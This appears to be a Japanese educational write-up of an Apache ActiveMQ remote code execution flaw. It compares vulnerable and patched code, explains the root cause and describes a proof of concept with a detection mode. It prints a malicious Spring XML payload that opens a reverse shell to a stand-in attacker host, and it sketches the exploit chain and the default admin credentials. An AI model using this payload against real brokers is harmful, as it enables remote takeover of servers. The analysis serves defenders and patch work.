
CVE-2026-41044(Apache ActiveMQ のRCE)に関する教育的なウォークスルーと概念実証。根本原因の分析と検出スクリプトを含む。
注記: 教育目的のみ
CVE-2026-41044は2026年4月24日に公開されました。これはApache ActiveMQ Classicのリモートコード実行バグで、jsjcwによって発見され、5.19.6と6.2.5でパッチが適用されました。私が発見したわけではありません。
私が示したいのは、ActiveMQに触れたことがない人でも、パッチ適用済みのコードも未適用のコードも公開されており、その差分はgit diff一つで確認できるため、N-dayの実用的なエクスプロイトを半日で作成できるということです。
プロセスはシンプルです:
かつて数日かかっていた作業が、今では半日で完了します。AIはバグを見つけるのではありません。コードを読み、あなたが質問するのと同じ速さで説明するのです。コストがかかる部分は依然としてあなた自身です: 実際に悪用可能なものは何か、本当の信頼境界はどこか、検証が必要なものは何かを判断すること。モデルは単に人間より速くコールグラフを辿るだけです。
より大きなポイント: パッチ適用のワークフローがCVEごとに1週間の分析時間を前提としているなら、あなたは古いタイムラインにいます。git diffの長さは、検知を書く場合もエクスプロイトを書く場合も同じです。
ActiveMQはメッセージブローカーです。中間に位置し、アプリケーション間でメッセージを渡します。郵便局のようなものだと考えてください: アプリはメッセージを預け、ActiveMQはそれを正しい受信者に配達します。エンタープライズJavaスタックで広く展開されており、Webコンソールと/api/jolokia/にあるJolokiaというREST管理APIを公開しています。多くのデプロイメントでのデフォルト認証情報は依然としてadmin:adminです。
ActiveMQは、認証された任意のユーザーが任意のHTTP URLからブローカー設定をロードすることを許可しており、Springがそれを解析してJavaオブジェクトとして即座に実行しました - ProcessBuilderを含む - 攻撃者にブローカーサーバー上での完全なOSコマンド実行を許可していました。
localhost。/api/jolokia/にあるHTTP-to-JMXブリッジで、管理操作をREST APIとして公開します。任意の有効なWebコンソール認証情報が到達できます - 管理者だけでなく。vm://トランスポート: クライアントがブローカーと同じJVM内に存在する場合に使用されるインプロセストランスポート。ブローカーをブートストラップするためのSpring XML設定を指す?brokerConfig=クエリパラメータを受け入れます。xbean:: URLをSpring XML設定として扱いロードするようActiveMQに指示するURLスキーム。init-method: SpringはXMLを読み取り、Javaオブジェクト(ビーン)を自動的に作成します。init-method属性は、ビーンが作成された瞬間に - 他の何よりも先に - メソッドを呼び出すようSpringに指示します。ProcessBuilder: OSコマンドを実行する標準Javaクラス。ProcessBuilder.start()がコマンドを実行します。5.19.2のDestinationView.sendTextMessage()は、ブローカー名を文字列に直接連結してブローカー接続URLを構築します:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
getBrokerName()がlocalhost?brokerConfig=xbean:http://attacker/poison.xmlを返す場合、その文字列全体が埋め込みクエリパラメータを持つ有効なvm:// URIになります。ActiveMQConnectionFactoryはそれをVMTransportFactoryに渡し、brokerConfigパラメータを取り出してブローカーのブートストラップ設定URLとして使用します。
5.19.6での修正は1行です:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
StringがURIになります - 偶発的な連結はもはや不可能です。値は、ブローカーの実際に登録されたVMコネクタから派生した、事前に構築された不変のURIオブジェクトから取得され、可変の名前文字列からではありません。
レイヤー1を悪用可能にするには、まずブローカー名を汚染する必要があります。BrokerServiceは常にブローカー名をサニタイズしてきました:
// BrokerService.setBrokerName() - 両バージョンに存在
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
この正規表現は?と=をきれいに除去します。CVEが存在したのは、RegionBrokerに独自の別のセッターがあり、それがサニタイズしていなかったためです:
// 5.19.2 - RegionBroker.java
private String brokerName; // 可変
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // 検証なし
}
これは古典的な混乱した代理人(confused deputy)です - 関連するクラスに2つのセッターがあり、そのうちの1つだけがサニタイズします。細工されたBrokerInfoパケットを汚染された名前フィールド付きでブロードキャストするリモートピアは、BrokerServiceの正規表現を完全にバイパスして、RegionBroker.setBrokerName()に直接到達します。
5.19.6での修正はセッターを削除し、フィールドをfinalにし、すでにサニタイズされた親から一度だけ初期化します:
// 5.19.6 - RegionBroker.java
private final String brokerName; // 不変
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName()は削除されました。セッターはもうありません。
}
並行する書き込み手段がないサニタイザーをバイパスすることはできません。
VMTransportFactory.doCompositeConnect()は、vm://...?brokerConfig=... URIを受け取り、brokerConfigパラメータを取り出し、BrokerFactory.createBroker(brokerURI)を呼び出す関数です。これはチェーン全体のトリガーメカニズムです。
Apacheはここではまったく何も変更していません。
この選択は、彼らが修正についてどう考えていたかを物語っています。VMTransportFactoryは正当な作業を行っています - vm://トランスポートは実際にブートストラップ設定を受け入れることになっています。ここにパッチを当てると、意図された設計が壊れていたでしょう。代わりにApacheは、ソース(レイヤー2: 汚染された名前は書き込めない)とシンク(レイヤー5: 汚染されたURLが通過しても、リソースリゾルバーがそれを取得しない)でバグを修正しました。
検証が属するレイヤーを修正し、攻撃者がたまたま通過したレイヤーを修正しないでください。
// XBeanBrokerFactory - 両バージョンで同じ
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // レイヤー5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource)はSpringが処理を行う場所です - すべてのビーンのinit-methodはコンテキスト構築時に実行され、ActiveMQのBrokerServiceが結果を検証する前に実行されます。ここでパッチを当てるべきものはありません。Springの契約は設計どおり正しいのです。バグは、ActiveMQがインスタンス化の前に検証が行われることに依存していたが、Springはその順序を保証していないことでした。
これはxbean:http://attacker/poison.xmlを取得すべきかどうかを決定する関数です。5.19.2では:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? チェックなし。
} else {
return new ClassPathResource(uri);
}
}
プロトコルフィルタはありません。http://、https://、ftp://、jar:// - すべて黙って受け入れられます。
5.19.6の修正は明示的な許可リストを追加します。デフォルトではfileとclasspathのみが許可されます。それ以外はすべて、UrlResourceが構築される前に例外をスローします:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // http/https等なら例外をスロー
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactoryは現在、許可リストとして{file, classpath}を渡します。将来のバージョンで汚染されたブローカー名が何らかの方法でこの関数に到達しても、http://attacker/poison.xmlはSpringがそれを認識する前に例外をスローします。
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
SpringがApplicationContextを構築した瞬間、init-method="start"がProcessBuilderビーンで発火します。ActiveMQのBrokerService.start()検証はその後で実行されます。その時点でシェルはすでに接続を返しています。
脆弱なUtils.resourceFromStringシンクに到達する方法は2つあります:
完全な本番パス(アドバイザリが説明するもの):
リモートピアが細工されたBrokerInfoパケットを送信
-> RegionBroker.setBrokerName()が検証なしで汚染された名前を保存
-> DestinationView.sendTextMessage()がそれをvm:// URLに連結
-> VMTransportFactoryがbrokerConfigパラメータを取り出す
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
ショートパス(poc.shが使用するもの):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
PoCは実用的な理由でショートパスを取ります: 完全なパスでは、細工されたBrokerInfoパケットをターゲットに送信する2番目のActiveMQブローカーをネットワークピアとしてセットアップする必要があります - より複雑なラボ設定を必要とするブローカー間の相互作用です。ショートパスは単一のブローカーと基本的なHTTPサーバーで機能します。
両方のパスが同じ脆弱なプリミティブに到達します。PoCはシンクが悪用可能であり、CVEがターゲットに存在することを確認します。アドバイザリで説明されている正確なエントリポイントを再現したい場合は、ブローカー間のステップを追加する必要があります。
PoCはデフォルトで検知のみのモードで実行されます。2つのシグナルをプローブします:
バナーチェック - Jolokia経由でBrokerVersionを読み取ります:
< 5.19.6または6.0.0 - 6.2.4 = 脆弱な範囲動作チェック - Jolokia経由でaddNetworkConnector("vm://probe")を呼び出します:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognized IOExceptionを返しますパッチ適用済みバージョンでの拒否は、BrokerView.validateAllowedUrl()によるものです - 5.19.6でaddNetworkConnector JMX操作に直接追加された別の拒否リストで、Utils.resourceFromStringによるものではありません。これらは2つの独立した修正です: 1つはJMX管理サーフェスを保護し、もう1つはレイヤー5で説明したリソースローディングプリミティブを保護します。動作プローブは前者をテストします。
| レイヤー | 脆弱なバージョン (5.19.2) | 修正済み (5.19.6) |
|---|---|---|
DestinationView | "vm://" + brokerName 文字列連結 | broker.getVmConnectorURI() 不変URI |
RegionBroker | 可変フィールド、サニタイズされていないセッター | finalフィールド、セッター削除、サニタイズ済み親から初期化 |
VMTransportFactory | 変更なし | 変更なし (設計による) |
XBeanBrokerFactory | Utils.resourceFromString(uri)を呼び出す | Utils.resourceFromString(uri, allowedProtocols)を呼び出す |
Utils.resourceFromString | 任意のURLスキームを取得 | 許可リストを強制 - デフォルトではfileとclasspathのみ |